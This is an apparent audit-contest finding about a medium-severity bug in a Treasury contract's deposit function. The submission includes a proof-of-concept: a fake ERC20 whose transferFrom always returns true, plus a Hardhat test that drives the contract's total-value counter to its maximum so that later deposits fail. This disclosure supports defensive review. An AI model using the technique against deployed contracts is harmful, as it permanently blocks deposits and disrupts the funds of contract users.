Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Treasury contract be permanently blocked from receiving deposits of any tokens

damilolaedwards

Target

contracts/core/collectors/Treasury.sol

Vulnerability Details

The deposit function of the Treasury contract allows for transfer of arbitrary tokens in to the contract using the function the caller can provide any token address as argument alongside the amounts of tokens to deposit, after a successful deposit, the totalValue state variable is updated to include the amount of tokens transferred, this introduces a critical vulnerability as a user could execute the deposit function passing in an address that contains any arbitrary logic in it’s transferFrom function, after which the _totalValue state variable can to updated to uint256.max, thereby permanently blocking any further deposits into the contract.

function deposit(address token, uint256 amount) external override nonReentrant {
if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
IERC20(token).transferFrom(msg.sender, address(this), amount);
_balances[token] += amount;
_totalValue += amount;
emit Deposited(token, amount);
}

Treasury.deposit

Impact

The deposit logic can be permanently bricked making it unusable and totally blocking the transfer of tokens into the treasury contract.

Tools Used

Manual Review

Recommendations

Consider implementing a token whitelist for acceptable tokens that can be transferred into the contract using the deposit function

POC

create a solidity file named MinimalERC20.sol in contracts/mocks/core/tokens
add the code snippet below

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
contract MinimalERC20 {
constructor() {
​
}
function transferFrom(address from, address to, uint256 amount) external pure returns (bool) {
return true;
}
​
function uint256max() external pure returns(uint256) {
return type(uint256).max;
}
}

add this test script to test/unit/core/collectors/Treasury.test.js

describe("POC #4", () => {
it("should block deposits", async function () {
await token.connect(user1).approve(treasury.getAddress(), ethers.parseEther("1000"));
// Deploy mock token : MockToken.sol
const MinimalERC20 = await ethers.getContractFactory("MinimalERC20");
let minimalToken = await MinimalERC20.deploy();
const UINT256_MAX = await minimalToken.uint256max();
await treasury.connect(user1).deposit(minimalToken.getAddress(), UINT256_MAX);
await treasury.connect(user1).deposit(token.getAddress(), 1);
})
});
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Treasury::deposit increments _totalValue regardless of the token, be it malicious, different decimals, FoT etc.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!